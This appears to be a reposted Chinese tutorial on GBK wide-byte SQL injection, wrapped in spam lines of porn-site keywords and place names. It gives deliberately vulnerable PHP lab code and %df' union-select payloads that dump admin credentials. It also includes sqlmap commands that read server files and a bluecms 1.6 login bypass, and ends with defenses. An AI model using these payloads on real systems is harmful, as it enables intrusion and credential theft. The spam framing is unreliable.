最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

寬字節(jié)注入

2023-02-27 17:17 作者:青陽(yáng)小棧  | 我要投稿

1. 基本概念#

寬字節(jié)是相對(duì)于ascII這樣單字節(jié)而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等這些都是常說(shuō)的寬字節(jié),實(shí)際上只有兩字節(jié)

GBK 是一種多字符的編碼,通常來(lái)說(shuō),一個(gè) gbk 編碼漢字,占用2個(gè)字節(jié)。一個(gè) utf-8 編碼的漢字,占用3個(gè)字節(jié)

轉(zhuǎn)義函數(shù):為了過(guò)濾用戶輸入的一些數(shù)據(jù),對(duì)特殊的字符加上反斜杠“\”進(jìn)行轉(zhuǎn)義;Mysql中轉(zhuǎn)義的函數(shù)addslashes,mysql_real_escape_string,mysql_escape_string 等,還有一種是配置magic_quote_gpc,不過(guò) PHP 高版本已經(jīng)移除此功能。

2. SQL的執(zhí)行過(guò)程#

  1. 以 php 客戶端為例,使用者輸入數(shù)據(jù)后,會(huì)通過(guò)php的默認(rèn)編碼生成sql語(yǔ)句發(fā)送給服務(wù)器。在php沒(méi)有開(kāi)啟default_charset編碼時(shí),php的默認(rèn)編碼為空。

此時(shí) php 會(huì)根據(jù)數(shù)據(jù)庫(kù)中的編碼自動(dòng)來(lái)確定使用那種編碼,可以使用 m="";echostrlen(m); 來(lái)進(jìn)行判斷,如果輸出的值是3說(shuō)明是utf-8編碼;如果輸出的值是 2 說(shuō)明是 gbk 編碼。

  1. 服務(wù)器接收到請(qǐng)求后會(huì)把客戶端編碼的字符串轉(zhuǎn)換成連接層編碼字符串(具體流程是先使用系統(tǒng)變量 character_set_client 對(duì) SQL 語(yǔ)句進(jìn)行解碼后,然后使用 系統(tǒng)變量 character_set_connection 對(duì)解碼后的十六進(jìn)制進(jìn)行編碼)。

  1. 進(jìn)行內(nèi)部操作前,將請(qǐng)求按照如下規(guī)則轉(zhuǎn)化成內(nèi)部操作字符集,如下:

  • 使用字段 CHARACTER SET 設(shè)定值;

  • 若上述值不存在,使用對(duì)應(yīng)數(shù)據(jù)表的DEFAULT CHARACTER SET設(shè)定值;

  • 若上述值不存在,則使用對(duì)應(yīng)數(shù)據(jù)庫(kù)的DEFAULT CHARACTER SET設(shè)定值;

  • 若上述值不存在,則使用character_set_server設(shè)定值。

  1. 執(zhí)行完 SQL 語(yǔ)句之后,將執(zhí)行結(jié)果按照 character_set_results 編碼進(jìn)行輸出。

3. 寬字節(jié)注入#

寬字節(jié)注入指的是 mysql 數(shù)據(jù)庫(kù)在使用寬字節(jié)(GBK)編碼時(shí),會(huì)認(rèn)為兩個(gè)字符是一個(gè)漢字(前一個(gè)ascii碼要大于128(比如%df),才到漢字的范圍),而且當(dāng)我們輸入單引號(hào)時(shí),mysql會(huì)調(diào)用轉(zhuǎn)義函數(shù),將單引號(hào)變?yōu)?#39;,其中\(zhòng)的十六進(jìn)制是%5c,mysql的GBK編碼,會(huì)認(rèn)為%df%5c是一個(gè)寬字節(jié),也就是'運(yùn)',從而使單引號(hào)閉合(逃逸),進(jìn)行注入攻擊。

寬字節(jié)注入發(fā)生的位置就是PHP發(fā)送請(qǐng)求到MYSQL時(shí)字符集使用character_set_client設(shè)置值進(jìn)行了一次編碼,然后服務(wù)器會(huì)根據(jù)character_set_connection把請(qǐng)求進(jìn)行轉(zhuǎn)碼,從character_set_client轉(zhuǎn)成character_set_connection,然后更新到數(shù)據(jù)庫(kù)的時(shí)候,再轉(zhuǎn)化成字段所對(duì)應(yīng)的編碼

以下是數(shù)據(jù)的變化過(guò)程:

%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運(yùn)’用戶輸入==>過(guò)濾函數(shù)==>代碼層的$sql==>mysql處理請(qǐng)求==>mysql中的sql

4. 環(huán)境搭建及分析#

4.1 實(shí)驗(yàn)1#

為了方便演示該注入的過(guò)程,搭建一下環(huán)境

鏈接:https://pan.baidu.com/s/1cMFtCpbbaocMjaWJx7YLcQ 密碼:ykve

數(shù)據(jù)庫(kù)名為test,數(shù)據(jù)庫(kù)的編碼全部為gdk

源碼

/*Team:紅日安全團(tuán)隊(duì)團(tuán)隊(duì)成員:CPRTitle:寬字節(jié)注入*///連接數(shù)據(jù)庫(kù)部分,注意使用了gbk編碼$conn = mysql_connect('localhost', 'root', 'root') ordie('bad!');mysql_query("SET NAMES 'gbk'");mysql_select_db('test', $conn) OR emMsg("連接數(shù)據(jù)庫(kù)失敗,未找到您填寫(xiě)的數(shù)據(jù)庫(kù)");//執(zhí)行sql語(yǔ)句$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;$sql = "SELECT * FROM news WHERE tid='{$id}'";$result = mysql_query($sql, $conn) ordie(mysql_error());echo"

"."執(zhí)行的sql語(yǔ)句是:".$sql."

"?>"gbk" />寬字節(jié)測(cè)試 ? ?"utf-8"/>"test.php" method="get"> ? 請(qǐng)輸入值: "text" name="id"/>$row = mysql_fetch_array($result, MYSQL_ASSOC);echo"

{$row['title']}

{$row['content']}

\n"

;mysql_free_result($result);?>

加上 echo "

"."執(zhí)行的sql語(yǔ)句是:".$sql."

" 這句話,可以清楚的查看sql語(yǔ)句的變化過(guò)程。

sql 語(yǔ)句是 SELECT * FROM news WHERE tid='{$id} 根據(jù) id 從數(shù)據(jù)庫(kù)表中獲取信息。

4.1.1 確定注入點(diǎn)#

單純加上單引號(hào)沒(méi)有報(bào)錯(cuò),說(shuō)明addslashes函數(shù)發(fā)揮了作用,將' --> ',這樣就不會(huì)存在注入了。

此時(shí),在單引號(hào)前面加上前面講的%df,是**mysql認(rèn)為%df**是一個(gè)漢字,這樣'就可以逃逸出來(lái),使tid = '1'閉合。

這時(shí)候,按說(shuō)是可以構(gòu)造查詢(xún)語(yǔ)句了,可是為什么還在報(bào)錯(cuò)呢,因?yàn)閠id='1'后面的'沒(méi)有閉合,需要使用注釋符號(hào)(-- '或#)將這個(gè)多余的'注釋掉,這樣就可以構(gòu)造注入語(yǔ)句了。

下面就可以按照手動(dòng)注入的思路進(jìn)行數(shù)據(jù)的獲取了。

4.1.2 確定表的字段數(shù)#

由于接下來(lái)要采用union探測(cè)內(nèi)容,而union的規(guī)則是必須要求列數(shù)相同才能正常展示,因此必須要探測(cè)列數(shù),保證構(gòu)造的注入查詢(xún)結(jié)果與元查詢(xún)結(jié)果列數(shù)與數(shù)據(jù)類(lèi)型相同; 'order by 1'代表按第一列升序排序,若數(shù)字代表的列不存在,則會(huì)報(bào)錯(cuò),由此可以探測(cè)出有多少列。

http://127.0.0.1/index.php?id=1 %df' order by 4 -- '

可知一共有3個(gè)字段

4.1.3 確定字段的顯示位#

顯示位:表中數(shù)據(jù)第幾位的字段可以 顯示,因?yàn)椴⒉皇撬械牟樵?xún)結(jié)果都 會(huì)展示在頁(yè)面中,因此需要探測(cè)頁(yè)面 中展示的查詢(xún)結(jié)果是哪一列的結(jié)果; 'union select 1,2,3 -- ' 通過(guò)顯示的數(shù)字可以判斷那些字段可以顯示出來(lái)。

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,3 -- '

id的值要用-1或者該表中沒(méi)有用過(guò)的id值,否則測(cè)試值會(huì)被覆蓋。

4.1.4 獲取當(dāng)前數(shù)據(jù)庫(kù)信息#

1. 獲取當(dāng)前數(shù)據(jù)庫(kù)名

現(xiàn)在只有兩個(gè)字段可以顯示信息,顯然在后面的查詢(xún)數(shù)據(jù)中,兩個(gè)字段是不夠用,可以使用:

  • group_concat()函數(shù)(可以把查詢(xún)出來(lái)的多行數(shù)據(jù)連接起來(lái)在一個(gè)字段中顯示)

  • database()函數(shù):查看當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)

  • version()函數(shù):查看數(shù)據(jù)庫(kù)版本信息

  • user():返回當(dāng)前數(shù)據(jù)庫(kù)連接使用的用戶

  • char():將十進(jìn)制ASCII碼轉(zhuǎn)化成字符

當(dāng)前數(shù)據(jù)庫(kù)名為'test'。

2. 獲取test數(shù)據(jù)庫(kù)中的表信息

Mysql有一個(gè)系統(tǒng)的數(shù)據(jù)庫(kù) information_schema,里面保存著所有數(shù)據(jù)庫(kù)的相關(guān)信息,使用該表完成注入

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name) ?from information_schema.tables where table_schema=0x74657374 -- '

由于存在addslashes轉(zhuǎn)義了單引號(hào),如果在table_schema中繼續(xù)使用單引號(hào)包裹數(shù)據(jù)庫(kù)名字,就會(huì)報(bào)錯(cuò),這時(shí)候需要使用十六進(jìn)制編碼來(lái)避免這個(gè)問(wèn)題。

3. 獲取admin表的字段

column_name表示獲取字段名

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(column_name) ?from information_schema.columns where table_name=0x61646d696e -- '

table_name 需要使用十六進(jìn)制編碼

4. 獲取 admin 表的數(shù)據(jù)

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,concat(name,char(58),pass) from admin -- '

數(shù)據(jù)獲取到了,可以更深入一下,比如進(jìn)行文件的讀取,提權(quán)等操作。

5. 獲取當(dāng)前用戶信息

此次會(huì)用到工具SQLMAP,sqlmap是一個(gè)SQL注入工具。此一具在業(yè)界稱(chēng)為神器。sqlmap是用python語(yǔ)言編寫(xiě),如果想對(duì)工具詳細(xì)了解,請(qǐng)到官網(wǎng)了解。

下載和使用

  • http://sqlmap.org/

  • http://blog.csdn.net/whatday/article/details/54766536

本實(shí)驗(yàn)用到sqlmap,以下是用sqlmap工具操作。使用sqlmap工具第一步猜用戶

python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --current-user

看到是root用戶,可以更方便的搞事情了。

6. 讀服務(wù)器中的文件

sqlmap 中--file-read參數(shù),可以讀取服務(wù)器端任意文件

python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --file-read="./index.php"

已經(jīng)將文件保存到了本地/root/.sqlmap/output/127.0.0.1/files文件夾下

正常思路,接下來(lái)可以進(jìn)行提權(quán)了,由于該環(huán)境是搭建在windows下的,使用--file-write參數(shù)進(jìn)行寫(xiě)文件的操作不能執(zhí)行,這里就不做演示了。

4.2 實(shí)驗(yàn)2#

為了方便演示該注入的過(guò)程,搭建一下環(huán)境

鏈接:https://pan.baidu.com/s/1WC4D-3o-A7uYAi8w_yQ7sA 密碼:sbwy

數(shù)據(jù)庫(kù)名為test,數(shù)據(jù)庫(kù)的編碼全部為gdk

將 index.php 放到 phpStudy 的 WWW 目錄下,將 test.sql 文件導(dǎo)入到數(shù)據(jù)庫(kù)中即可

源碼

/*Team:紅日安全團(tuán)隊(duì)團(tuán)隊(duì)成員:CPRTitle:寬字節(jié)注入*///連接數(shù)據(jù)庫(kù)部分,注意使用了gbk編碼$conn = mysql_connect('localhost', 'root', 'root') ordie('bad!');mysql_query("SET NAMES 'gbk'");mysql_select_db('test', $conn) OR emMsg("連接數(shù)據(jù)庫(kù)失敗,未找到您填寫(xiě)的數(shù)據(jù)庫(kù)");//執(zhí)行sql語(yǔ)句mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); $id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;$id = iconv('utf-8', 'gbk', $id);$sql = "SELECT * FROM news WHERE tid='{$id}'";$result = mysql_query($sql, $conn) ordie(mysql_error());echo"

"."sql:".$sql."

"?>"gbk" />gbk change utf-8$row = mysql_fetch_array($result, MYSQL_ASSOC);echo"

{$row['title']}

{$row['content']}

\n"

;mysql_free_result($result);?>

同樣也使用了 addslashes轉(zhuǎn)義,然后使用iconv進(jìn)行轉(zhuǎn)碼,由utf-8 -->gbk

為了避免寬字節(jié)注入,很多人使用iconv函數(shù)(能夠完成各種字符集間的轉(zhuǎn)換text=iconv("UTF?8","GBK",text);),其實(shí)這樣做是有很大風(fēng)險(xiǎn)的,仍舊可以造成寬字節(jié)注入。

可以使用逆向思維,先找一個(gè)gbk的漢字錦,錦的utf-8編碼是0xe98ca6,它的gbk編碼是0xe55c,是不是已經(jīng)看出來(lái)了,當(dāng)傳入的值是錦','通過(guò)addslashes轉(zhuǎn)義為'(%5c%27),錦通過(guò)icov轉(zhuǎn)換為%e5%5c,終止變?yōu)榱?e5%5c%5c%27,不難看出%5c%5c正好把反斜杠轉(zhuǎn)義,使單引號(hào)逃逸,造成注入。

4.2.1 注入點(diǎn)#

按照實(shí)驗(yàn)1的思路,可以執(zhí)行寬字節(jié)注入

出現(xiàn)報(bào)錯(cuò)信息,說(shuō)明存在寬字節(jié)注入。

%5c%5c正好把反斜杠轉(zhuǎn)義,使單引號(hào)逃逸

獲取到數(shù)據(jù)信息(這里的sql注入方法和實(shí)驗(yàn)1一樣,讀者可以自己嘗試練習(xí))

4.3 實(shí)驗(yàn)3#

bluecms 1.6 版本存在寬字節(jié)注入,環(huán)境源碼:

鏈接:https://pan.baidu.com/s/11PQqPdopA9bkLBY9gYrpqA 密碼:ek6o

漏洞復(fù)現(xiàn)

該cms的寬字節(jié)注入漏洞存在于http://127.0.0.1/bluecmsv1.6/uploads/admin/index.php.此地址是我們的安裝地址,如果是在本地搭建,需要根據(jù)你的本地地址和路徑來(lái)進(jìn)行判斷。

為了更好演示效果,我們進(jìn)行如下安裝。首先根據(jù)上面提示的下載地址進(jìn)行下載源碼。

將整個(gè)bluecms文件放到phpStudy的WWW目錄下,瀏覽器訪問(wèn)url/bluecms/uploads/install 根據(jù)提示進(jìn)行安裝。

數(shù)據(jù)庫(kù)參數(shù)配置

訪問(wèn)http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login 進(jìn)入存在注入的頁(yè)面。

在管理員界面輸入登錄信息:

使用burp suit 進(jìn)行抓包:

POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=loginCookie: PHPSESSID=om57mhu92141dqc3hn8ajce8q1DNT: 1X-Forwarded-For: 8.8.8.8Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 63admin_name=admin&admin_pwd=123&submit=%B5%C7%C2%BC&act=do_login

admin_name就是注入點(diǎn),可以實(shí)現(xiàn)萬(wàn)能密碼登錄

構(gòu)造payload

POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=loginDNT: 1X-Forwarded-For: 8.8.8.8Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 80admin_name=admin %df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login

成功登錄后臺(tái)

4.3.1 源碼分析#

看下管理員登錄界面的源碼admin/login.php

define('IN_BLUE', true);require_once(dirname(__FILE__) . '/include/common.inc.php');$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'login';if($act == 'login'){if($_SESSION['admin_id']){showmsg('您已登錄,不用再次登錄', 'index.php'); ? }template_assign('current_act', '登錄');$smarty->display('login.htm');}...

在第二行可以看到包含了/include/common.inc.php文件,跟進(jìn)一下

require_once(BLUE_ROOT.'include/mysql.class.php');$db = newmysql($dbhost,$dbuser,$dbpass,$dbname);

第一行包含了include/mysql.class.php文件,第二行實(shí)例化mysql對(duì)象,繼續(xù)跟進(jìn)mysql.class.php

functionmysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){$this->dbshow('Can not connect to Mysql!'); ? ? ? ?} else {if($this->dbversion() > '4.1'){mysql_query( "SET NAMES gbk");if($this->dbversion() > '5.0.1'){mysql_query("SET sql_mode = ''",$this->linkid); ? ? ? ? ? ? ? ?} ? ? ? ? ? ?} ? ? ? ?} ? ? ? ?...

/include/common.inc.php文件中的mysql實(shí)例化對(duì)象,調(diào)用了這個(gè)mysql類(lèi),將數(shù)據(jù)庫(kù)的連接信息進(jìn)行封裝,重點(diǎn)關(guān)注下mysql_query( "SET NAMES gbk");這一句,使三個(gè)字符集(客戶端、連接層、結(jié)果集)都是GBK編碼,經(jīng)過(guò)前面的講解可以知道gbk是雙字節(jié),如果再使用了addslashes()等前面所說(shuō)的函數(shù)進(jìn)行轉(zhuǎn)義操作,那么一定可以觸發(fā)寬字節(jié)注入

回到common.inc.php,看到

if(!get_magic_quotes_gpc()){$_POST = deep_addslashes($_POST);$_GET = deep_addslashes($_GET);$_COOKIES = deep_addslashes($_COOKIES);$_REQUEST = deep_addslashes($_REQUEST);}

如果沒(méi)有開(kāi)啟get_magic_quotes_gpc(),則會(huì)對(duì)各種請(qǐng)求數(shù)據(jù)使deep_addslashes()進(jìn)行過(guò)濾,跟進(jìn)下這個(gè)函數(shù),在common.fun.php文件中

functiondeep_addslashes($str){if(is_array($str)) ? ?{foreach($stras$key=>$val) ? ? ? ?{$str[$key] = deep_addslashes($val); ? ? ? ?} ? ?}else ? ?{$str = addslashes($str); ? ?}return$str;}

不管是數(shù)組還是字符串都會(huì)調(diào)用addslashes()函數(shù)進(jìn)行字符的轉(zhuǎn)義

至此可以確定能觸發(fā)寬字節(jié)注入

4.3.2 sql語(yǔ)句分析#

前面已經(jīng)構(gòu)造了payload,現(xiàn)在看一看完整的sql語(yǔ)句

admin/login.php源碼

if(check_admin($admin_name, $admin_pwd)){update_admin_info($admin_name);if($remember == 1){ ? ? ? ?...

前面已經(jīng)構(gòu)造了payload,現(xiàn)在看一看完整的sql語(yǔ)句

admin/login.php源碼

check_admin()函數(shù)使用了輸入的用戶名和密碼,跟進(jìn)一下

該函數(shù)在include/common.fun.php文件中

functioncheck_admin($name, $pwd){global$db;$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");if($row['num'] > 0) ? ?{returntrue; ? ?}else ? ?{returnfalse; ? ?}}...

正常的sql語(yǔ)句

SELECTCOUNT(*) AS num FROM blue_admin WHERE admin_name='$name'and pwd = md5('$pwd')

當(dāng)從blue_admin表中查到admin的信息,num的值就會(huì)大于零,這樣就可以登錄成功

含有payload的sql語(yǔ)句

SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運(yùn)'or1=1 -- ' and pwd = md5('$pwd')

登錄后臺(tái)管理,可以尋找上傳點(diǎn),或者利用已知的漏洞,從而getshell,進(jìn)而控制整個(gè)服務(wù)器。

5. 防護(hù)手段#

使用mysql_set_charset(GBK)指定字符集

SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

使用mysql_real_escape_string進(jìn)行轉(zhuǎn)義

mysql_real_escape_string與addslashes的不同之處在于其會(huì)考慮當(dāng)前設(shè)置的字符集(使用mysql_set_charset指定字符集),不會(huì)出現(xiàn)前面的df和5c拼接為一個(gè)寬字節(jié)的問(wèn)題

以上兩個(gè)條件需要同時(shí)滿足才行,缺一不可。



轉(zhuǎn)載


寬字節(jié)注入的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
宣威市| 建昌县| 碌曲县| 泗洪县| 铜梁县| 安康市| 象州县| 武定县| 黎平县| 隆化县| 南康市| 青田县| 深州市| 如东县| 赣州市| 张家港市| 九江县| 宁晋县| 封开县| 鄂州市| 建昌县| 将乐县| 平邑县| 贡山| 廊坊市| 万安县| 格尔木市| 淄博市| 濮阳县| 梅河口市| 伊吾县| 上虞市| 吴川市| 白水县| 洞头县| 化德县| 长泰县| 昔阳县| 渭南市| 旺苍县| 罗甸县|